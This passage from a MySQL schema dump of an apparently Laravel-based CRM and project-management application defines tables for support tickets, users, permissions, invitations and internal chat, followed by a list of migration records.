character_set_client = utf8mb4 */; CREATE TABLE `ticket_tag_list` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `tag_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `ticket_tag_list_company_id_foreign` (`company_id`), CONSTRAINT `ticket_tag_list_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_tags`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_tags` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `tag_id` int unsigned NOT NULL, `ticket_id` int unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `ticket_tags_company_id_foreign` (`company_id`), KEY `ticket_tags_tag_id_foreign` (`tag_id`), KEY `ticket_tags_ticket_id_foreign` (`ticket_id`), CONSTRAINT `ticket_tags_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `ticket_tags_tag_id_foreign` FOREIGN KEY (`tag_id`) REFERENCES `ticket_tag_list` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `ticket_tags_ticket_id_foreign` FOREIGN KEY (`ticket_id`) REFERENCES `tickets` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `ticket_types`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `ticket_types` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `type` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `ticket_types_type_unique` (`type`), KEY `ticket_types_company_id_foreign` (`company_id`), CONSTRAINT `ticket_types_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `tickets`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `tickets` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `subject` text COLLATE utf8mb4_unicode_ci NOT NULL, `status` enum('open','pending','resolved','closed') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'open', `priority` enum('low','medium','high','urgent') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'medium', `agent_id` int unsigned DEFAULT NULL, `channel_id` int unsigned DEFAULT NULL, `type_id` int unsigned DEFAULT NULL, `close_date` date DEFAULT NULL, `deleted_at` timestamp NULL DEFAULT NULL, `mobile` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `country_id` int unsigned DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `tickets_company_id_foreign` (`company_id`), KEY `tickets_user_id_foreign` (`user_id`), KEY `tickets_agent_id_foreign` (`agent_id`), KEY `tickets_channel_id_foreign` (`channel_id`), KEY `tickets_type_id_foreign` (`type_id`), KEY `tickets_country_id_foreign` (`country_id`), KEY `tickets_added_by_foreign` (`added_by`), KEY `tickets_last_updated_by_foreign` (`last_updated_by`), KEY `tickets_updated_at_index` (`updated_at`), CONSTRAINT `tickets_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tickets_agent_id_foreign` FOREIGN KEY (`agent_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tickets_channel_id_foreign` FOREIGN KEY (`channel_id`) REFERENCES `ticket_channels` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tickets_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `tickets_country_id_foreign` FOREIGN KEY (`country_id`) REFERENCES `countries` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `tickets_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tickets_type_id_foreign` FOREIGN KEY (`type_id`) REFERENCES `ticket_types` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `tickets_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `translate_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `translate_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `google_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `universal_search`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `universal_search` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `searchable_id` int NOT NULL, `module_type` enum('ticket','invoice','notice','proposal','task','creditNote','client','employee','project','estimate','lead') COLLATE utf8mb4_unicode_ci DEFAULT NULL, `title` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `route_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `universal_search_company_id_foreign` (`company_id`), CONSTRAINT `universal_search_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `user_activities`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `user_activities` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `activity` text COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `user_activities_company_id_foreign` (`company_id`), KEY `user_activities_user_id_foreign` (`user_id`), KEY `user_activities_created_at_index` (`created_at`), CONSTRAINT `user_activities_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `user_activities_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `user_invitations`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `user_invitations` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `invitation_type` enum('email','link') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'email', `email` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `invitation_code` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active', `email_restriction` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `message` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `user_invitations_company_id_foreign` (`company_id`), KEY `user_invitations_user_id_foreign` (`user_id`), CONSTRAINT `user_invitations_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `user_invitations_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `user_leadboard_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `user_leadboard_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `board_column_id` int unsigned NOT NULL, `collapsed` tinyint(1) NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `user_leadboard_settings_company_id_foreign` (`company_id`), KEY `user_leadboard_settings_user_id_foreign` (`user_id`), KEY `user_leadboard_settings_board_column_id_foreign` (`board_column_id`), CONSTRAINT `user_leadboard_settings_board_column_id_foreign` FOREIGN KEY (`board_column_id`) REFERENCES `lead_status` (`id`) ON UPDATE CASCADE, CONSTRAINT `user_leadboard_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `user_leadboard_settings_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `user_permissions`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `user_permissions` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned NOT NULL, `permission_id` int unsigned NOT NULL, `permission_type_id` bigint unsigned NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `user_permissions_user_id_foreign` (`user_id`), KEY `user_permissions_permission_id_foreign` (`permission_id`), KEY `user_permissions_permission_type_id_foreign` (`permission_type_id`), CONSTRAINT `user_permissions_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `user_permissions_permission_type_id_foreign` FOREIGN KEY (`permission_type_id`) REFERENCES `permission_types` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `user_permissions_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `user_taskboard_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `user_taskboard_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `board_column_id` int unsigned NOT NULL, `collapsed` tinyint(1) NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `user_taskboard_settings_company_id_foreign` (`company_id`), KEY `user_taskboard_settings_user_id_foreign` (`user_id`), KEY `user_taskboard_settings_board_column_id_foreign` (`board_column_id`), CONSTRAINT `user_taskboard_settings_board_column_id_foreign` FOREIGN KEY (`board_column_id`) REFERENCES `taskboard_columns` (`id`) ON UPDATE CASCADE, CONSTRAINT `user_taskboard_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `user_taskboard_settings_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `users`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `users` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `password` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `two_factor_secret` text COLLATE utf8mb4_unicode_ci, `two_factor_recovery_codes` text COLLATE utf8mb4_unicode_ci, `two_factor_confirmed` tinyint(1) NOT NULL DEFAULT '0', `two_factor_email_confirmed` tinyint(1) NOT NULL DEFAULT '0', `image` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `mobile` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `gender` enum('male','female','others') COLLATE utf8mb4_unicode_ci DEFAULT NULL, `salutation` enum('mr','mrs','miss','dr','sir','madam') COLLATE utf8mb4_unicode_ci DEFAULT NULL, `locale` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'en', `status` enum('active','deactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active', `login` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'enable', `onesignal_player_id` text COLLATE utf8mb4_unicode_ci, `last_login` timestamp NULL DEFAULT NULL, `email_notifications` tinyint(1) NOT NULL DEFAULT '1', `country_id` int unsigned DEFAULT NULL, `dark_theme` tinyint(1) NOT NULL, `rtl` tinyint(1) NOT NULL, `two_fa_verify_via` enum('email','google_authenticator','both') COLLATE utf8mb4_unicode_ci DEFAULT NULL, `two_factor_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL COMMENT 'when authenticator is email', `two_factor_expires_at` datetime DEFAULT NULL, `admin_approval` tinyint(1) NOT NULL DEFAULT '1', `permission_sync` tinyint(1) NOT NULL DEFAULT '1', `google_calendar_status` tinyint(1) NOT NULL DEFAULT '1', `remember_token` varchar(100) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `users_email_unique` (`email`), KEY `users_country_id_foreign` (`country_id`), KEY `users_company_id_foreign` (`company_id`), CONSTRAINT `users_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `users_country_id_foreign` FOREIGN KEY (`country_id`) REFERENCES `countries` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `users_chat`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `users_chat` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_one` int unsigned NOT NULL, `user_id` int unsigned NOT NULL, `message` mediumtext COLLATE utf8mb4_unicode_ci, `from` int unsigned DEFAULT NULL, `to` int unsigned DEFAULT NULL, `message_seen` enum('yes','no') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'no', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `users_chat_company_id_foreign` (`company_id`), KEY `users_chat_user_one_foreign` (`user_one`), KEY `users_chat_user_id_foreign` (`user_id`), KEY `users_chat_from_foreign` (`from`), KEY `users_chat_to_foreign` (`to`), CONSTRAINT `users_chat_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `users_chat_from_foreign` FOREIGN KEY (`from`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `users_chat_to_foreign` FOREIGN KEY (`to`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `users_chat_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `users_chat_user_one_foreign` FOREIGN KEY (`user_one`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `users_chat_files`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `users_chat_files` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `users_chat_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` text COLLATE utf8mb4_unicode_ci, `google_url` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `users_chat_files_company_id_foreign` (`company_id`), KEY `users_chat_files_user_id_foreign` (`user_id`), KEY `users_chat_files_users_chat_id_foreign` (`users_chat_id`), CONSTRAINT `users_chat_files_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `users_chat_files_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `users_chat_files_users_chat_id_foreign` FOREIGN KEY (`users_chat_id`) REFERENCES `users_chat` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; /*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */; /*!40101 SET SQL_MODE=@OLD_SQL_MODE */; /*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */; /*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */; /*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */; INSERT INTO `migrations` VALUES (1,'2014_04_02_193005_create_translations_table',1); INSERT INTO `migrations` VALUES (2,'2014_10_12_000000_create_users_table',1); INSERT INTO `migrations` VALUES (3,'2014_10_12_100000_create_password_resets_table',1); INSERT INTO `migrations` VALUES (4,'2016_06_20_112951_create_user_chat_table',1); INSERT INTO `migrations` VALUES (5,'2017_03_23_110416_add_column_users_table',1); INSERT INTO `migrations` VALUES (6,'2017_03_23_111036_create_client_details_table',1); INSERT INTO `migrations` VALUES (7,'2017_03_23_112028_create_client_contacts_table',1); INSERT INTO `migrations` VALUES (8,'2017_03_23_112353_create_employee_details_table',1); INSERT INTO `migrations` VALUES (9,'2017_03_23_114438_create_organisation_settings_table',1); INSERT INTO `migrations` VALUES (10,'2017_03_23_122646_create_project_category_table',1); INSERT INTO `migrations` VALUES (11,'2017_03_23_123601_create_projects_table',1); INSERT INTO `migrations` VALUES (12,'2017_03_23_125424_create_project_members_table',1); INSERT INTO `migrations` VALUES (13,'2017_03_23_125625_create_project_time_logs_table',1); INSERT INTO `migrations` VALUES (14,'2017_03_23_130413_create_project_files_table',1); INSERT INTO `migrations` VALUES (15,'2017_03_24_051800_create_tasks_table',1); INSERT INTO `migrations` VALUES (16,'2017_03_24_054355_create_notices_table',1); INSERT INTO `migrations` VALUES (17,'2017_03_24_055005_create_conversation_table',1); INSERT INTO `migrations` VALUES (18,'2017_03_24_055539_create_conversation_reply_table',1); INSERT INTO `migrations` VALUES (19,'2017_03_24_055859_create_invoices_table',1); INSERT INTO `migrations` VALUES (20,'2017_03_24_060421_create_invoice_items_table',1); INSERT INTO `migrations` VALUES (21,'2017_03_24_060751_create_quotations_table',1); INSERT INTO `migrations` VALUES (22,'2017_03_24_061241_create_quotation_items_table',1); INSERT INTO `migrations` VALUES (23,'2017_03_24_061505_create_sticky_notes_table',1); INSERT INTO `migrations` VALUES (24,'2017_03_24_064541_create_issues_table',1); INSERT INTO `migrations` VALUES (25,'2017_03_29_123858_entrust_setup_tables',1); INSERT INTO `migrations` VALUES (26,'2017_04_04_193158_AddColumnsProjectFilesTable',1); INSERT INTO `migrations` VALUES (27,'2017_04_05_063103_change_clientid_projectid_invoice_table',1); INSERT INTO `migrations` VALUES (28,'2017_04_06_051401_add_discount_column_invoice_table',1); INSERT INTO `migrations` VALUES (29,'2017_04_06_054728_add_status_column_issues_table',1); INSERT INTO `migrations` VALUES (30,'2017_04_08_152902_add_total_hours_column_time_log_table',1); INSERT INTO `migrations` VALUES (31,'2017_04_18_095809_create_project_activity_table',1); INSERT INTO `migrations` VALUES (32,'2017_04_18_103815_create_user_activities_table',1); INSERT INTO `migrations` VALUES (33,'2017_04_19_101519_create_email_notification_settings_table',1); INSERT INTO `migrations` VALUES (34,'2017_04_20_185211_add_colour_column_sticky_notes_table',1); INSERT INTO `migrations` VALUES (35,'2017_04_28_114154_create_notifications_table',1); INSERT INTO `migrations` VALUES (36,'2017_05_03_131016_add_project_completion_field_projects',1); INSERT INTO `migrations` VALUES (37,'2017_05_03_174333_create_currencies_table',1); INSERT INTO `migrations` VALUES (38,'2017_05_05_124330_create_module_settings_table',1); INSERT INTO `migrations` VALUES (39,'2017_05_05_233111_add_status_column_invoices',1); INSERT INTO `migrations` VALUES (40,'2017_05_11_140502_add_currency_symbol_column_invoices',1); INSERT INTO `migrations` VALUES (41,'2017_05_11_170244_add_currency_id_column_organisation_settings_table',1); INSERT INTO `migrations` VALUES (42,'2017_05_22_172748_add_timezone_column_settings_table',1); INSERT INTO `migrations` VALUES (43,'2017_05_24_120216_create_smtp_settings_table',1); INSERT INTO `migrations` VALUES (44,'2017_05_31_112158_create_universal_search_table',1); INSERT INTO `migrations` VALUES (45,'2017_06_22_131112_add_locale_organisation_settings_table',1); INSERT INTO `migrations` VALUES (46,'2017_07_13_091922_add_calculate_task_progress_column_project_table',1); INSERT INTO `migrations` VALUES (47,'2017_07_20_093528_on_delete_setnull_timelog',1); INSERT INTO `migrations` VALUES (48,'2017_07_21_120958_create_theme_settings_table',1); INSERT INTO `migrations` VALUES (49,'2017_07_24_113657_add_link_color_column_theme_settings_table',1); INSERT INTO `migrations` VALUES (50,'2017_07_24_123050_add_login_background_organisation_settings_table',1); INSERT INTO `migrations` VALUES (51,'2017_07_27_101351_add_column_type_invoice_items_table',1); INSERT INTO `migrations` VALUES (52,'2017_07_28_102010_create_estimates_table',1); INSERT INTO `migrations` VALUES (53,'2017_07_28_103230_create_estimate_items_table',1); INSERT INTO `migrations` VALUES (54,'2017_08_04_064431_create_payments_table',1); INSERT INTO `migrations` VALUES (55,'2017_08_05_103940_create_payment_gateway_credential_table',1); INSERT INTO `migrations` VALUES (56,'2017_08_08_055908_add_enable_paypal_column_payment_gateway_table',1); INSERT INTO `migrations` VALUES (57,'2017_08_09_054230_create_expenses_table',1); INSERT INTO `migrations` VALUES (58,'2017_08_21_065430_add_exchange_rate_column_currency_table',1); INSERT INTO `migrations` VALUES (59,'2017_08_21_131318_create_invoice_setting_table',1); INSERT INTO `migrations` VALUES (60,'2017_08_22_055908_add_expense_email_setting_to_email_notification_setting_table',1); INSERT INTO `migrations` VALUES (61,'2017_08_28_110759_add_recurring_columns_in_invoice_table',1); INSERT INTO `migrations` VALUES (62,'2017_08_30_061016_add_plan_id_to_payments_table',1); INSERT INTO `migrations` VALUES (63,'2017_08_30_093400_create_settings_table',1); INSERT INTO `migrations` VALUES (64,'2017_08_30_123956_add_slack_username_column_employee_details_table',1); INSERT INTO `migrations` VALUES (65,'2017_08_30_133725_add_send_slack_column_email_notification_settings_table',1); INSERT INTO `migrations` VALUES (66,'2017_09_01_060715_add_stipe_column_to_payment_credentials_table',1); INSERT INTO `migrations` VALUES (67,'2017_09_01_090124_add_customer_id_column_to_payments_table',1); INSERT INTO `migrations` VALUES (68,'2017_09_02_084049_add_locale_column_users_table',1); INSERT INTO `migrations` VALUES (69,'2017_09_14_095429_create_ticket_reply_templates_table',1); INSERT INTO `migrations` VALUES (70,'2017_09_14_095815_create_ticket_types_table',1); INSERT INTO `migrations` VALUES (71,'2017_09_14_100400_create_ticket_groups_table',1); INSERT INTO `migrations` VALUES (72,'2017_09_14_100530_create_ticket_tag_list_table',1); INSERT INTO `migrations` VALUES (73,'2017_09_14_114900_create_ticket_channels_table',1); INSERT INTO `migrations` VALUES (74,'2017_09_14_115003_create_ticket_agent_groups_table',1); INSERT INTO `migrations` VALUES (75,'2017_09_14_115004_create_tickets_table',1); INSERT INTO `migrations` VALUES (76,'2017_09_14_115005_create_ticket_tags_table',1); INSERT INTO `migrations` VALUES (77,'2017_09_18_064917_add_status_column_ticket_agent_group_table',1); INSERT INTO `migrations` VALUES (78,'2017_09_24_101700_create_ticket_replies_table',1); INSERT INTO `migrations` VALUES (79,'2017_09_25_060229_drop_description_column_ticket_table',1); INSERT INTO `migrations` VALUES (80,'2017_09_25_072611_add_deleted_at_column_tickets',1); INSERT INTO `migrations` VALUES (81,'2017_09_25_072627_add_deleted_at_column_ticket_reply',1); INSERT INTO `migrations` VALUES (82,'2017_10_03_094922_ticket_notification_migration',1); INSERT INTO `migrations` VALUES (83,'2017_10_03_134003_add_latitude_longitude_column',1); INSERT INTO `migrations` VALUES (84,'2017_10_12_111741_create_attendance_setting_table',1); INSERT INTO `migrations` VALUES (85,'2017_10_13_051909_create_attendance_table',1); INSERT INTO `migrations` VALUES (86,'2017_10_26_051335_add_mail_from_email_column_smtp_settings_table',1); INSERT INTO `migrations` VALUES (87,'2017_10_26_112253_add_office_open_days_column_attendance_settings_table',1); INSERT INTO `migrations` VALUES (88,'2017_11_01_054603_add_columns_to_client_details',1); INSERT INTO `migrations` VALUES (89,'2017_11_02_045542_change_on_cascade_project_members',1); INSERT INTO `migrations` VALUES (90,'2017_11_07_054438_add_project_admin_column_project_table',1); INSERT INTO `migrations` VALUES (91,'2017_11_07_125619_remove_project_admin_role',1); INSERT INTO `migrations` VALUES (92,'2017_11_08_045549_make_project_id_nullable_tasks_table',1); INSERT INTO `migrations` VALUES (93,'2017_11_09_071318_create_taskboard_columns_table',1); INSERT INTO `migrations` VALUES (94,'2017_11_09_092817_add_column_tasks_table',1); INSERT INTO `migrations` VALUES (95,'2017_11_20_070830_create_custom_fields_table',1); INSERT INTO `migrations` VALUES (96,'2017_11_20_071758_create_custom_fields__data_table',1); INSERT INTO `migrations` VALUES (97,'2017_11_22_071535_create_events_table',1); INSERT INTO `migrations` VALUES (98,'2017_11_23_065323_add_cryptocurrency_columns',1); INSERT INTO `migrations` VALUES (99,'2017_11_24_103957_create_event_attendees_table',1); INSERT INTO `migrations` VALUES (100,'2017_12_07_034433_change cascade users in time log table',1); INSERT INTO `migrations` VALUES (101,'2017_12_12_071823_create_modules_table',1); INSERT INTO `migrations` VALUES (102,'2017_12_12_073501_add_module_id_column_permissions_table',1); INSERT INTO `migrations` VALUES (103,'2017_12_21_114839_change_upload_folder',1); INSERT INTO `migrations` VALUES (104,'2017_12_28_112910_create_leave_types_table',1); INSERT INTO `migrations` VALUES (105,'2017_12_30_184422_create_leaves_table',1); INSERT INTO `migrations` VALUES (106,'2018_01_02_122442_add_leaves_notification_setting',1); INSERT INTO `migrations` VALUES (107,'2018_01_05_062543_add_user_css_column_theme_settings',1); 